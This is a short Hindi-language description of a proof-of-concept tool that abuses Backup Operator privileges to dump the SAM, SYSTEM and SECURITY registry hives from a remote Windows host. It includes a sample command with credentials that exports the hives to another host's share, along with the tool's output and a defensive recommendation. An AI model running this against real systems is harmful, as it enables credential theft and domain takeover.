horizon3ai/backup_dc_registryएक सरल POC जो Backup Operator विशेषाधिकारों का दुरुपयोग करके SAM, SYSTEM और SECURITY को रिमोट से डंप करता है।
एक सरल PoC जो SAM, SYSTEM, और SECURITY हाइव्स को रिमोट डंप करने के लिए बैकअप ऑपरेटर विशेषाधिकारों का दुरुपयोग करता है।
शोध का श्रेय:
यह प्रूफ ऑफ कॉन्सेप्ट impacket/examples/reg.py का संशोधित संस्करण है और स्थापित नवीनतम impacket रिलीज़ के साथ काम करेगा। सभी समर्थित impacket प्रमाणीकरण तंत्र काम करेंगे।
root@kali:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share'
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation
Dumping SAM hive to \\10.0.220.51\share\SAM
Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM
Dumping SECURITY hive to \\10.0.220.51\share\SECURITY
Backup Operators डोमेन समूह को डोमेन एडमिनिस्ट्रेटर और अन्य Tier 0 संसाधनों के रूप में मानें।